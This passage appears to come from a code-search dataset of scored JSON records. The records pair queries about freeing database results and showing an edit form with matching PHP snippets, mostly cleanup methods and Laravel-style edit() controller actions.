resources\n\t}", "title": "" }, { "docid": "072f189da72e87606bc23c2ec8233df7", "score": "0.66433257", "text": "public function free_prepared_query()\n {\n $this->check_connection();\n\n if ($this->statement) {\n @pg_free_result($this->statement);\n\n $this->statement = null;\n }\n\n $this->statement = null;\n $this->last_query = null;\n $this->prepared_query = null;\n }", "title": "" }, { "docid": "6160a8c37d97f659844dc13fa8b31087", "score": "0.6640916", "text": "public function __destruct()\n {\n \\pg_free_result($this->handle);\n }", "title": "" }, { "docid": "a8351571a83998a8212542f959479068", "score": "0.6614149", "text": "function freeMemoryAfterQuery($queryValue){\n\tmysqli_free_result($queryValue);\n}", "title": "" }, { "docid": "717e8e0452dbc485e80e5d8fe823277a", "score": "0.6582759", "text": "function PMA_DBI_free_result()\n{\n foreach (func_get_args() as $result) {\n if ($result instanceof mysqli_result) {\n mysqli_free_result($result);\n }\n }\n}", "title": "" }, { "docid": "29e40a01bc84b5a41d76f47ff732ddb8", "score": "0.6580091", "text": "public function liberar(){\n $this->prep->free_result();\n }", "title": "" }, { "docid": "e1ffd5843c9afb99f52063278fc9fbe6", "score": "0.64202076", "text": "public function clear(){\n // Attempt to release the MySQL result\n if (is_resource($this->MYSQL_RESULT)){\n mysqli_free_result($this->LINK, $this->MYSQL_RESULT);\n }\n // Return true\n return true;\n }", "title": "" }, { "docid": "cb9b8dad4f14d3fca448d2de0fe1c100", "score": "0.6391785", "text": "protected function cleanup()\n\t{\n\t\t$this->executed = true;\n\t\t$this->stmt = null;\n\t\t$this->binds = array();\n\t\tif ($this->profiler) {\n\t\t\t$this->profiler->onAfterCall();\n\t\t}\n\n\t\t$this->isSlowQuery();\n\t}", "title": "" }, { "docid": "0187146b05f74a2812578821f2bfeb07", "score": "0.6377966", "text": "public function clear(){\n \t// Attempt to release the MySQL result\n \tif (is_resource($this->MYSQL_RESULT)){\n \t @mysql_free_result($this->MYSQL_RESULT);\n \t}\n // Return true\n return true;\n }", "title": "" }, { "docid": "9343263ce6824952975618fbbba8f041", "score": "0.6359892", "text": "public function __destruct() {\n // disconnect\n $this->disconnect();\n // free last result if un-buffered\n $this->freeUnbuffered();\n }", "title": "" }, { "docid": "e551160f9b52487f9bf3ba81378d618d", "score": "0.634238", "text": "function clearConnection($mysql){\n while($mysql->more_results()){\n $mysql->next_result();\n $mysql->use_result();\n }\n}", "title": "" }, { "docid": "220c57c329bbd8e6d384c0eccb8d7fc1", "score": "0.6342082", "text": "public function free();", "title": "" }, { "docid": "6ec2c0ea7f457c8bb50832936dc21523", "score": "0.6309324", "text": "public function free()\n {\n $this->_removeReferencesToParameters();\n $this->_removeReferencesToNodes();\n }", "title": "" }, { "docid": "5695b079e7ffaae93caccf91b4ffaf1a", "score": "0.621861", "text": "public function free()\n {\n $this->_free($this->_data);\n }", "title": "" }, { "docid": "70bb62b6407a7adfdd65643d0f44f0e4", "score": "0.6211346", "text": "public function release() {\n\t\t$this->Stmt->closeCursor();\n\t}", "title": "" }, { "docid": "4cf4c0b14c854b0ece4f04a83bea24e9", "score": "0.62042344", "text": "public function __destruct()\r\n {\r\n $this->resultSet = null;\r\n $this->level = null;\r\n $this->fullpath = null;\r\n }", "title": "" }, { "docid": "50ba4fa77453a799e31a8997902863d1", "score": "0.6185199", "text": "public function __destruct()\n\t{\n\t\tunset($this->sql);\n\t}", "title": "" }, { "docid": "317d49a0a7ffca738987034c46263907", "score": "0.615913", "text": "public function FreeMem($Obj_resultado){\n\t\ttry{\n\t\t\t//mysql_free_result($Obj_resultado);//Libera la memoria utilizada por la consulta\n\t\t}\n\t\tcatch(Exception $ERROR){\n\t\t\tthrow new Exception('No se pudo cerrar correctamente la conexión con el servidor.');\n\t\t}\n\t}", "title": "" }, { "docid": "7376ad73dc1fde308d5d4c14b29fb38e", "score": "0.61135143", "text": "Function FreeResult( $iQrId = \"\" )\n {\n if ( empty($iQrId) )\n \t{\n \t\t$iQrId = $this->__sQrId;\n \t}\n \t@mysql_free_result( $iQrId );\n }", "title": "" }, { "docid": "bebf38a625fc3b850e24fdc6f3259709", "score": "0.60900855", "text": "public function free()\n {\n // Free the collected IDs.\n $toFree = $this->getIdsToFree();\n foreach ($toFree as $id) {\n if (isset(self::$cache[ $id ])) {\n $this->freeInstance($id);\n }\n }\n }", "title": "" }, { "docid": "3195fed16424e0610929b234fb96c068", "score": "0.6084343", "text": "public function mod_release_data(){\r\n mysqli_free_result($this->mod_daily_records);\r\n mysqli_free_result($this->mod_monthly_records);\r\n unset($this->mod_daily_records);\r\n unset($this->mod_monthly_records);\r\n }", "title": "" }, { "docid": "f6f0fe1779ce9dc8394c3e9966bc4e8a", "score": "0.60632026", "text": "function __destruct()\n {\n unset($this->connId);\n unset($this->resultId);\n }", "title": "" }, { "docid": "c227cd7560daeadd5f57d9e22ac3e81c", "score": "0.60602456", "text": "public function close() { \n if (!$this->handle) return;\n $r= mysqli_free_result($this->handle);\n $this->handle= NULL;\n return $r;\n }", "title": "" }, { "docid": "0f7269f8e441c0f2dec14a4f90fbae8c", "score": "0.60484207", "text": "private function clearAllResult(){\n $this->setLastError(null);\n $this->setLastResult(null);\n }", "title": "" }, { "docid": "4af90ff12d22d6b787ec4d72bf55f3c4", "score": "0.6032414", "text": "public function free()\r\n {\r\n if (is_resource($this->resource)) {\r\n event_base_free($this->resource);\r\n }\r\n }", "title": "" }, { "docid": "98c3a212f8dd3e1698167fd0f06bb474", "score": "0.602893", "text": "public function __destruct()\n {\n $this->stmt->closeCursor();\n // attatch this unset, otherwise it created a segment violation\n unset($this->stmt);\n }", "title": "" }, { "docid": "58f239e43781a05d2aba6256d281cc13", "score": "0.5995943", "text": "public function liberar()\n { //cierra la conexion\n // @mysqli_free_result($this->result);\n\n ///para liberar la conexion en el caso de usar stored procedures\n while (mysqli_more_results($this->dbc)) {\n if (mysqli_next_result($this->dbc)) {\n $this->result = mysqli_use_result($this->dbc);\n @mysqli_free_result($this->result);\n }\n }\n\n\n }", "title": "" }, { "docid": "5ddf72332beea97c3133059583846c47", "score": "0.5985108", "text": "public function reset()\n\t{\n\t\t$this->res->closeCursor();\n\t\t$this->res->execute();\n\t}", "title": "" }, { "docid": "9693c051b79eaa73e3e797d15e11a1c7", "score": "0.597129", "text": "function free()\n {\n $this->close();\n }", "title": "" }, { "docid": "1682378f0256bafc0bf9de2b0a2bc786", "score": "0.5966678", "text": "function clear()\r\n {\r\n unset($results);\r\n unset($usage); \r\n }", "title": "" }, { "docid": "6132b270b9abc6170018497f70531817", "score": "0.5961425", "text": "function cdbfree($reskey) {\n\tglobal $rowlocs;\n\n\tif (isset($rowlocs[$reskey])) {\n\t\tif (!is_array($rowlocs[$reskey])) {\n\t\t\tdbfree($rowlocs[$reskey]);\n\t\t}\n\t\tunset($rowlocs[$reskey]);\n\t}\n}", "title": "" }, { "docid": "170dbbc02e97f6f7c23893fe45ef6d3a", "score": "0.5952067", "text": "protected static function clear_query()\n\t{\n\t\tself::$query = null;\n\t}", "title": "" }, { "docid": "ed24e23a7115db6a18d2217ce2151002", "score": "0.59417796", "text": "public function disconnect()\n {\n if ( isset( $this->mysqli ) )\n {\n $this->mysqli->close();\n }\n if ( isset( $this->res ) && gettype( $this->res ) == \"object\" )\n {\n $this->res->free();\n }\n unset( $this->res );\n unset( $this->mysqli );\n }", "title": "" }, { "docid": "d91b09bf736e25408733b93b859ed3ef", "score": "0.59161866", "text": "function flush () {\r\n $this->last_result = array();\r\n $this->col_info = null;\r\n $this->last_query = null;\r\n }", "title": "" }, { "docid": "8ef310c68347d83bb699a4d9c446c82d", "score": "0.5911268", "text": "public function close_connection()\n {\n $this->last_query = null;\n $this->prepared_query = null;\n $this->row = null;\n $this->field_names = null;\n\n if ($this->statement) {\n @pg_free_result($this->statement);\n }\n\n if ($this->result) {\n @pg_free_result($this->result);\n }\n\n if ($this->connection) {\n @pg_close($this->connection);\n }\n\n $this->statement = null;\n $this->connection = null;\n $this->result = null;\n }", "title": "" }, { "docid": "f0217750490596dcd7dcaafb59d1bae5", "score": "0.5892177", "text": "public function __destruct() {\n\t\tif (is_resource($this->resource)) {\n\t\t\t@sqlsrv_close($this->resource);\n\t\t}\n\t}", "title": "" }, { "docid": "1bda208ca3fafe9e5b3f9563f45b614e", "score": "0.58694464", "text": "protected function free() {\n $this->_options = array();\n $this->_url = '';\n $this->_headers = array();\n $this->_cookies = array();\n $this->_queries = array();\n $this->_errorCode = 0;\n $this->_errorMsg = '';\n $this->_responseHeaderStr = '';\n $this->_responseBody = '';\n $this->_responseHeaders = array();\n if (is_resource($this->_curl) && get_resource_type($this->_curl) == 'curl') {\n curl_close($this->_curl);\n }\n $this->_curl = null;\n }", "title": "" }, { "docid": "e4fa031d3376515ba64dc883101ebe8f", "score": "0.58601326", "text": "public function __destruct() {\n\t\t$this->DAO_Factory->clearDBResources ();\n\t}", "title": "" }, { "docid": "f069a4eb0c35553d1493cf3b6df95903", "score": "0.58417094", "text": "public function __destruct()\r\n {\r\n $this->sqli->close();\r\n }", "title": "" }, { "docid": "c17543ed6aa5e5ad643828170fe8f414", "score": "0.5815794", "text": "public function close(){\n\t\t\t$this->customFields = false;\n $this->bindFields = array();\n $this->bindWhere = array();\n $this->tableUsed = false;\n $this->conditionQuery = array();\n $this->conditionProcess = false;\n $this->orderbyQuery = array();\n $this->orderbyProcess = false;\n $this->groupbyQuery = array();\n $this->groupbyProcess = false;\n $this->limit_query = false;\n\t\t}", "title": "" }, { "docid": "80f6ad7e76d7d892ad56e111c29fe47b", "score": "0.5808324", "text": "public function __destruct() {\n\t\t$this->dbAdapter->dbClose();\n\t}", "title": "" }, { "docid": "62916c718a4fa472b569ef4f312a7424", "score": "0.5797847", "text": "public function close_query();", "title": "" }, { "docid": "c5ca26c76816fe29819480fc01513420", "score": "0.5781041", "text": "protected function finalize()\n {\n $this->meta(['total' => ($this->model)::count()])\n ->meta(['count' => $this->queryBuilder->count() ?: $this->meta('total')])\n ->meta(['offset' => $this->config('offset')])\n ->meta(['limit' => $this->config('limit')])\n ->meta(['limit' => $this->config('limit')]);\n \n $this->results = $this->queryBuilder\n ->offset($this->config('offset'))\n ->limit($this->config('limit'))\n ->get();\n \n return $this;\n }", "title": "" }, { "docid": "26cc7dbfbbbe7ca403410105579f4d73", "score": "0.57743937", "text": "function flush()\n\t\t{\n\t\t\t// Get rid of these\n\t\t\t$this->last_result = array();\n\t\t\t$this->col_info = null;\n\t\t\t$this->last_query = null;\n\t\t\t$this->from_disk_cache = false;\n\t\t}", "title": "" }, { "docid": "83e800f476662e04217cfea19df5d468", "score": "0.57510424", "text": "function __destruct() {\n $db_conn = $this->db_conn;\n oci_close($db_conn);\n }", "title": "" }, { "docid": "f418b76f8c46a0ee77453c1ecef61a49", "score": "0.5750484", "text": "function free();", "title": "" }, { "docid": "7053c764c88a46c725eb6da4b899f0c1", "score": "0.57492995", "text": "public function release()\n\t{\n\t\t$this->result = $this->count = $this->totalCount = NULL;\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "264a3ae7d6dc1a27a9786799cd1a569f", "score": "0.57319003", "text": "public function dispose()\n {\n // Drop subjects\n $subjects = Forum::find('all', ['conditions' => ['forum_id = ?', $this->id]]);\n foreach ( $subjects as $sbj ) {\n $sbj->delete();\n }\n\n // Drop themes\n $themes = ForumTheme::find('all', ['conditions' => ['forum_id = ?', $this->id]]);\n foreach ( $themes as $thm ) {\n $thm->delete();\n }\n }", "title": "" }, { "docid": "d68c060f09a05bc4295c76dc05dd96cc", "score": "0.5730284", "text": "function closeConnection(&$connection, &$result, &$otherResult) {\n //Release returned data \n // mysqli_free_result($result);\n // mysqli_free_result($otherResult);\n //Close database connection \n mysqli_close($connection); \n }", "title": "" }, { "docid": "08ca1fb2f72191a26243e24dcac48499", "score": "0.5722642", "text": "public function Unprepare()\n {\n if ($this->qrIsPrepared)\n {\n if (TRUE === $this->qrHandle) // if resultset is not empty\n {\n if (FALSE === @ibase_free_result($this->qrHandle))\n {\n throw new Exception(ibase_errmsg(), ibase_errcode());\n }\n }\n\n if (FALSE === @ibase_free_query($this->qrStatementHandle)) // if call was not successful...\n {\n throw new Exception(ibase_errmsg(), ibase_errcode());\n }\n $this->qrIsPrepared = false;\n $this->qrIsBinded = false;\n $this->qrIsDescribed = false;\n $this->qrHandle = NULL;\n }\n }", "title": "" }, { "docid": "baaaa567ca5c56f4300f8a26eb208ff2", "score": "0.57009697", "text": "public function releaseCursor();", "title": "" }, { "docid": "c2f2e396e64f07ce4497f85cd0898716", "score": "0.5698514", "text": "public function clearQuery()\n {\n $this->query = null;\n }", "title": "" }, { "docid": "2df45139d457f24f33a24a2070309899", "score": "0.56975543", "text": "public function freeQuery($query, $values){\n\t\tif($this->query_type != 4){$this->query_type = 4;}\n\t\t$this->t_value = $query;\n\t\t$this->query_values = $values;\n\n\t\treturn $this->run();\n\t}", "title": "" }, { "docid": "eb80f6dfd6d91e43b82533091dd3d3b2", "score": "0.56864834", "text": "protected function release($count = false)\n\t{\n\t\t$this->result = NULL;\n\t}", "title": "" }, { "docid": "7d8da4928c4a47e99471e2c91c899f33", "score": "0.568026", "text": "public function garbageCollect();", "title": "" }, { "docid": "06b2dcd47261f131ba6c939b43de4165", "score": "0.56797206", "text": "public function cleanup();", "title": "" }, { "docid": "06b2dcd47261f131ba6c939b43de4165", "score": "0.56797206", "text": "public function cleanup();", "title": "" }, { "docid": "67e58741ae222fce86948bd7d77f05d5", "score": "0.56792796", "text": "public function free()\n {\n $this->_itemData = null;\n return $this;\n }", "title": "" }, { "docid": "30f6c919a00d98751c519b862f0f90c1", "score": "0.56772655", "text": "public function flush() {\n // Get rid of these\n $this->last_result = null;\n $this->col_info = null;\n $this->last_query = null;\n $this->num_rows = 0;\n $this->result_output_type = null;\n }", "title": "" } ]
313ff7705d4e87750b2cd162f3a73639
Show the form for editing the specified resource.
[ { "docid": "a433e4db90e8b2bc1724f47789dc0d06", "score": "0.0", "text": "public function edit($id)\n {\n //\n }", "title": "" } ]
[ { "docid": "ac53c5763e3a0b0ec0125039ef9bb509", "score": "0.7631773", "text": "public function edit()\n {\n $this->form();\n }", "title": "" }, { "docid": "b8b614ce042ab5ea8a3e6ef84e6e7778", "score": "0.713407", "text": "public function edit($id)\n {\n $res = Resource::find($id);\n return view('resource.edit')->withResource($res);\n }", "title": "" }, { "docid": "f2b550245f3055e9568b85c7fbb1163e", "score": "0.7120567", "text": "public function edit(int $id)\n {\n $resource = Resource::findOrFail($id);\n\n return view('admin.resource.edit', [\n 'resource' => $resource\n ]);\n }", "title": "" }, { "docid": "361abed2cb852975c0683ccd26ce7d82", "score": "0.70657694", "text": "public function edit($id)\n {\n $data['module'] = array_merge($this->module(),[\n 'action' => 'update'\n ]);\n $data['data'] = Resources::findOrFail($id);\n return view(\"backend.{$this->module()['module']}.create-edit\", $data);\n }", "title": "" }, { "docid": "b7a9dbd94e4c376397338c3286f585f3", "score": "0.6979171", "text": "public function action_edit() {\n $article_id = $this->request->param('id');\n $article = new Model_Article($article_id);\n\n $this->template->title = \"Editar Art&iacute;culo\";\n $this->template->content = View::factory('article/dashboard/form')\n ->bind('article', $article);\n }", "title": "" }, { "docid": "54bd15e9dccbc11ab9791830a78b15b6", "score": "0.69532436", "text": "public function edit($id) {\n $viewData = $this->getDefaultFormViewData();\n $viewData[\"mode\"] = \"edit\";\n $viewData[\"supplier\"] = Supplier::find($id);\n\n return view(\"{$this->viewPath}.form\", $viewData);\n }", "title": "" }, { "docid": "989918b39caf8ede67ab11ef4dc4a651", "score": "0.69339967", "text": "public function editresourceAction() {\n\t\t$resourceid = $this->_request->getParam('resourceid');\n\t\t$srlink = new StudentResourceLink();\n\t\t$select = $srlink->select()->where($srlink->getAdapter()->quoteInto('auto_id = ?', $resourceid));\n\t\t$rows = $srlink->fetchAll($select);\n\t\t$therow = null;\n\t\tforeach ($rows as $row) {\n\t\t\t$therow=$row;\n\t\t}\n\t\t//print_r($therow);\n\t\t$this->view->resourcelink = $therow;\n\t\t\n\t\t$mediabankUtility = new MediabankUtility();\n\t\tob_start();\n\t\t$mediabankUtility->curlDownloadResource($therow['mid'],false);\n\t\t$content = ob_get_contents();\n\t\tob_end_clean();\n\t\t$this->view->content = $content;\t\t\n\t\t$this->view->redirect_to = $_SERVER[\"HTTP_REFERER\"];\n\t\tStudentResourceService::prepStudentResourceView($this, $this->_request, $therow->loid);\n\t\tif($therow['category']=='Summary') //summary has been stripped out since a summary exists; add it back in if this one is a summary\n\t\t\t$this->view->studentResourceCategories[6]='Summary';\n\t}", "title": "" }, { "docid": "60cbf7aaa1aa0791c0914ed1dcab803f", "score": "0.6928311", "text": "public function edit($id) {\n $resource = static::$resource::findOrFail($id);\n return view($this->getView('edit'), [static::$varName[0] ?? $this->getResourceName() => $resource]);\n }", "title": "" }, { "docid": "d7aa2e5a119120de3c3ba215c6a55f12", "score": "0.6926486", "text": "public function showEdit($id)\n {\n $form = $this->singleRow($id);\n return view('forms.edit', compact('form'));\n }", "title": "" }, { "docid": "18527251f9ef186ce3fe75e5b272924a", "score": "0.69218755", "text": "public function edit()\n {\n return view('rms::edit');\n }", "title": "" }, { "docid": "18527251f9ef186ce3fe75e5b272924a", "score": "0.69218755", "text": "public function edit()\n {\n return view('rms::edit');\n }", "title": "" }, { "docid": "6bfd6ee5429b006ef8ac6c80e55dd39b", "score": "0.6914203", "text": "public function edit($id)\n {\n $oItem = $this->oRepository\n ->getFillFromView($this->sPath.'/form')\n ->find($id);\n \n $sPageTitle = $this->sName;\n \n return view($this->sPath.'/form', compact('oItem','sPageTitle'));\n }", "title": "" }, { "docid": "901ccd53ce97c5a7d1966359f57043a4", "score": "0.69117606", "text": "public function edit()\n {\n return view('inpatient::edit');\n }", "title": "" }, { "docid": "0602544d24c996605ea507ebb7ee3e56", "score": "0.6878878", "text": "public function edit($id)\n\t{\n return $this->showForm( $id, 'update' );\n\t}", "title": "" }, { "docid": "a71e27a959041b3dc97b873e60de94e7", "score": "0.68629944", "text": "public function showEditForm()\n {\n return view('profile.edit');\n }", "title": "" }, { "docid": "3736499054b89a9776863393fe21594e", "score": "0.68470234", "text": "public function editAction()\n {\n $id = (int) $this->param('id');\n $project = $this->service->retrieveProjectById($id);\n if (!$project) {\n $this->flash('error')->addMessage('project.not.found');\n $this->redirectToRoute('list', ['page' => 1]);\n } else {\n $action = $this->view->url(['action' => 'update']);\n $projectForm = $this->service->getFormForEditing($action);\n $projectForm->populate($project->toArray());\n $this->view->project = $project;\n $this->view->projectForm = $projectForm;\n }\n }", "title": "" }, { "docid": "701c592af1d277babf262ba31d833e6d", "score": "0.6843164", "text": "public function edit()\n {\n return view('fehome::edit');\n }", "title": "" }, { "docid": "ef3688e29d18642367c0f31d2daf4e03", "score": "0.68410045", "text": "public function edit()\n {\n return view('commonbackend::edit');\n }", "title": "" }, { "docid": "a643a9d707708f188d2b193d7694df02", "score": "0.6840435", "text": "public function edit()\n {\n return view('orgmanagement::edit');\n }", "title": "" }, { "docid": "d38180038ed5b6fde7cb6b7829d278fc", "score": "0.6835701", "text": "public function edit()\n {\n JRequest::setVar( 'view', 'actions' );\n JRequest::setVar( 'layout', 'form' );\n JRequest::setVar( 'hidemainmenu', 1 );\n\n parent::display();\n }", "title": "" }, { "docid": "a695b4f4340bb78a765476c7a7b02c4c", "score": "0.68351203", "text": "public function edit()\n {\n return view('clientapp::edit');\n }", "title": "" }, { "docid": "1816939dd0a3de7ecf446799caf8016c", "score": "0.68238723", "text": "public function edit($id)\n {\n $data = $this->model->findOrFail($id);\n\n View::share(\"data\", $data);\n View::share(\"pageTitle\", $this->pageTitle);\n View::share(\"pageUrl\", $this->pageUrl);\n View::share(\"formFields\", $this->form->getFields());\n return View::make('admin.form.form');\n }", "title": "" }, { "docid": "a66e6ee3bd0d4fa614c8f657ecc1c30e", "score": "0.68047357", "text": "public function edit(Form $form)\n {\n //\n }", "title": "" }, { "docid": "a66e6ee3bd0d4fa614c8f657ecc1c30e", "score": "0.68047357", "text": "public function edit(Form $form)\n {\n //\n }", "title": "" }, { "docid": "3b2bff17656413d9e096fd6442febe9d", "score": "0.6799307", "text": "public function edit($id) {\n $model = new $this->model;\n $field = $model::find($id);\n return view('admin.' . strtolower($this->controller) . '.edit', compact('field'));\n }", "title": "" }, { "docid": "06c02e9061fd35c64388a48995f01327", "score": "0.6796334", "text": "public function edit($id)\n\t{\n\t\t//\n\t\t$resource = \\App\\Resource::find($id);\n\n\n\t\t$categories = \\App\\Category::lists('name','id');\n\n\t\treturn view('editResource', array( 'resource' => $resource , 'categories'=>$categories) );\n\t}", "title": "" }, { "docid": "231882e93a58215aa3b11a974a66292d", "score": "0.6791791", "text": "public function edit()\n {\n return view('admin::edit');\n }", "title": "" }, { "docid": "d2626096b25b928d4917d532209d348f", "score": "0.67897326", "text": "public function editAction()\n {\n Zend_Controller_Action_HelperBroker::removeHelper('Layout');\n\n $id = $this->_getParam(\"id\");\n $question = $this->em()->find(\"\\Classified\\Entity\\Question\", $id);\n $this->view->question = $question->getArrayCopy();\n }", "title": "" }, { "docid": "de733d13625d2e27b579a67d4dd0e5cb", "score": "0.67832476", "text": "public function getEdit()\n {\n //\n $id = Input::get('id');\n $model = new $this->model;\n $model = $model->find($id);\n return $this->viewMake('form.create', ['model'=> $model]);\n }", "title": "" }, { "docid": "80357935025ac73c8b779d2b96017dee", "score": "0.67724776", "text": "public function edit($id) {\n $name = $this->name;\n $config = $this->config;\n $model = $this->config->find($id);\n $form = new Form($model);\n $this->config->editForm($form, $model);\n return View::make(static::editViewName(), compact('id', 'name', 'config', 'model', 'form'));\n }", "title": "" }, { "docid": "8202b11a0ebab1ee33526e691e4d3eed", "score": "0.6755838", "text": "public function edit()\n {\n return view('frontend.edit');\n }", "title": "" }, { "docid": "63cbd5995cf95e846b6f36e8000a815a", "score": "0.6754102", "text": "public function editAction()\n {\n $this->_forward('new');\n }", "title": "" }, { "docid": "4e09d9c17a6aceefb0b461c0178bb595", "score": "0.6745991", "text": "public function edit(Form $form)\n {\n $this->authorize('view', $form);\n return view('forms.edit')->with(['form' => $form]);\n }", "title": "" }, { "docid": "ff2840a2ada11fccc572361d76303fac", "score": "0.6741958", "text": "function edit()\r\n\t{\r\n\t\tJRequest::setVar( 'view', 'individual' );\r\n\t\tJRequest::setVar( 'layout', 'form' );\r\n\t\tJRequest::setVar( 'hidemainmenu', 1);\r\n\r\n\t\tparent::display();\r\n\t}", "title": "" }, { "docid": "668b7d8579ddada4536a4181f3e08041", "score": "0.6737808", "text": "public function edit()\n {\n return view('rekanan::edit');\n }", "title": "" }, { "docid": "2b96e953246fda0c5243448568a7c515", "score": "0.67088807", "text": "public function edit($id)\n {\n $entreprise = Entreprise::find($id);\n return view('entreprises.formEdit', ['entreprise' => $entreprise]);\n }", "title": "" }, { "docid": "c4c379abb53b2ca3c6d6cbd170b55609", "score": "0.6686614", "text": "public function edit($id)\n {\n \n \t$model = $this->user->find($id);\n return view('dashboard.model.form', ['modelId'=>$id, 'model'=>$model]);\n }", "title": "" }, { "docid": "559ede1cbea107ac064ad8b6596ece86", "score": "0.66762877", "text": "public function editAction($id)\n {\n $entity = $this->getRepository('Alumni')->find($id);\n $this->forward404UnlessExist($entity);\n\n $editForm = $this->createForm(new AlumniType(), $entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->renderTwig('Master/Alumni:form', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "e12e61afec6117ea96b6103dec4dfafb", "score": "0.66596234", "text": "public function edit($id)\n {\n return view('post::forms');\n }", "title": "" }, { "docid": "b4bcae16b256bb23707dba844fd207b0", "score": "0.6656474", "text": "public static function edit()\n {\n $record = todos::findOne($_REQUEST['id']);\n self::getTemplate('edit_task', $record);\n \n }", "title": "" }, { "docid": "aecac872c5871a37f7794940474724af", "score": "0.6651918", "text": "public function edit($id)\n\t{\n\t\t//\n\t\t$employee = Employee::find($id);\n\t\treturn view('employee.edit')->with('employee', $employee);\n\t}", "title": "" }, { "docid": "5abc6953fae7162215480b7a9fef57c1", "score": "0.66518015", "text": "public function edit()\n {\n return view('collection::edit');\n }", "title": "" }, { "docid": "a39d1bedc4c3fd6b0b645b643c26dd0d", "score": "0.66507", "text": "public function edit($id)\n {\n $data = Employee::where('id', $id)->first();\n\n return view('master.form.employee-form', compact('data'));\n }", "title": "" }, { "docid": "75e95fc5ea1762bde4210a296e9c267f", "score": "0.6649592", "text": "public function edit()\n {\n return view('spereport::edit');\n }", "title": "" }, { "docid": "f03c98b1ded6cb4c6e6e2fc27daed613", "score": "0.66491336", "text": "public function edit(Question $question)\n {\n $this->authorize('update',$question);//update name is taken from questionpolicy.\n return view('questions.edit',compact('question'));\n }", "title": "" }, { "docid": "b8d8f7bcf858b30b9d3fd07cde03c478", "score": "0.66466177", "text": "public function edit($id)\n {\n return view('pemilih::edit');\n }", "title": "" }, { "docid": "2c86f1804737a94386a0a9ecc5c6ef5f", "score": "0.66418463", "text": "public function editAction ()\n\t{\n\t $id = $this->params()->fromRoute('id');\n\t \n\t $form = $this->form;\n\t\n\t // Get the record by its id\n\t $rsevent = $this->eventService->find($id);\n\n\t\tif(empty($rsevent)){\n\t $this->flashMessenger()->setNamespace('danger')->addMessage('The record has been not found!');\n\t return $this->redirect()->toRoute('events');\n\t }\n\n\t\t// Bind the data in the form\n\t if (! empty($rsevent)) {\n\t $form->bind($rsevent);\n\t }\n\t \n\t $viewModel = new ViewModel(array (\n\t 'form' => $form,\n\t 'event' => $rsevent,\n\t ));\n\t\n\t $viewModel->setTemplate('events/myevents/form');\n\t return $viewModel;\n\t}", "title": "" }, { "docid": "d75ec83a50e710b9d72084a319e7792e", "score": "0.66327494", "text": "public function edit($id)\n {\n $groups = Group::all();\n $resource = Resource::find($id);\n\n return view('resources.edit', compact('resource', 'groups'));\n }", "title": "" }, { "docid": "34b21fe71b4142863d1302f360b4a15e", "score": "0.66252655", "text": "public function editAction()\n {\n View::renderTemplate('Profile/edit.html.twig', [\n 'user' => $this->user\n ]);\n }", "title": "" }, { "docid": "0132281e923c663960827a2dba422346", "score": "0.6624558", "text": "public function edit(form $form)\n {\n return view('forms.edit',compact('form'));\n }", "title": "" }, { "docid": "c5e6fb8c3a6f53103bcd8c305c0be357", "score": "0.6624066", "text": "public function edit(Family $family)\n {\n return view('humanresources::edit');\n }", "title": "" }, { "docid": "892b227aa26c3b6d3701690609dfa3a0", "score": "0.662098", "text": "public function edit($id)\n {\n $this->data['titlePage'] = trans('admin.obj_edit',['obj' => trans('admin.'.$this->titleSingle)]);\n $breadcrumbs = array();\n $breadcrumbs[] = [ 'title' => trans('admin.home'), 'link' => route($this->routeRootAdmin), 'icon' => $this->iconDashboard ];\n $breadcrumbs[] = [ 'title' => trans('admin.'.$this->titlePlural), 'link' => route(GetRouteAdminResource($this->resourceRoute)), 'icon' => $this->iconMain ];\n $breadcrumbs[] = [ 'title' => $this->data['titlePage'], 'icon' => $this->iconEdit ];\n $this->data['breadcrumbs'] = $breadcrumbs;\n\n $this->data['data'] = $this->model->find($id);\n\n return view(GetViewAdminResource($this->resourceView, 'edit'))->with($this->data);\n }", "title": "" }, { "docid": "223a4b2e951b2071b1a916b352d3f758", "score": "0.66207314", "text": "public function edit($id)\n {\n $columns = $this->columnsExtractor->getUpdateFormFields($this->columnParams);\n $entity = $this->getEntity($id);\n $mediaExtractor = new MediaExtractor($entity);\n\n return view(AdminGeneratorServiceProvider::VIEWS_NAME . '::forms.edit')\n ->with([\n 'columns' => $columns,\n 'entity' => $entity,\n 'titleSingular' => $this->titleSingular,\n 'titlePlural' => $this->titlePlural,\n 'url' => $this->getUrl(),\n 'mediaExtractor' => $mediaExtractor,\n ]);\n }", "title": "" }, { "docid": "2632981557af6d87fc0ef718c76a60a5", "score": "0.6616139", "text": "public function edit($id)\n\t{\n\t\t//\n\t\treturn View::make('invfor.edit');\n\n\t}", "title": "" }, { "docid": "e7eb022f99d007266654247f8c875bb2", "score": "0.6612846", "text": "public function edit()\n {\n return view('leaveapplication::edit');\n }", "title": "" }, { "docid": "73eac20ddaa6b78ea1224540dfac5019", "score": "0.6609262", "text": "public function edit($id)\n {\n $record = Record::findOrFail($id);\n return view('admin.edit', compact('record'));\n\n }", "title": "" }, { "docid": "fb75ecb723bf601f0c220bda3e7a2405", "score": "0.66079116", "text": "public function edit($id);", "title": "" }, { "docid": "cbe6404e0b856f507d216614da279133", "score": "0.6604817", "text": "public function edit($id)\n {\n $data = $this->model::findOrFail($id);\n return view($this->masterViews.$this->routeName.'.form', [\n 'data' => $data\n ]);\n }", "title": "" }, { "docid": "eda065f96a6d12f0f767633c98f9c541", "score": "0.6597777", "text": "public function edit($id)\n\t{\n\t\t$model = Proyecto::find($id);\n\t\tif (is_null ($model)){\n\t\t\tApp::abort(404);\n\t\t}\n\n\t\t$form_data = array('route' => array('admin.proyectos.update', $model->id), 'method' => 'PATCH');\n $actionName = 'Editar';\n $action = 'edit';\n $estadoid = 'disabled';\n $modelsName = 'proyectos';\n $proyectosSelect = null;\n return View::make('admin/layoutform', compact('model', 'form_data', 'modelsName', 'action', 'actionName', 'estadoid', 'proyectosSelect'));\n\t}", "title": "" }, { "docid": "25924f3d76afc3161783024ff1fd4760", "score": "0.65920466", "text": "public function edit() {\n\t\tif(!is_numeric($this->intFieldID) || empty($this->intFieldID)) {\n\t\t\t// Shows form interface\n\t\t\t$this->objSmarty->assign('ALERT_MSG','You must choose an item to update!');\n\t\t\t$this->_create();\n\t\t\texit();\n\t\t}\n\t\t\n\t\t// Gets Field Data\n\t\t$this->getFieldData();\n\t\t$this->objSmarty->assign('objField',$this->objField);\n\t\n\t\t// 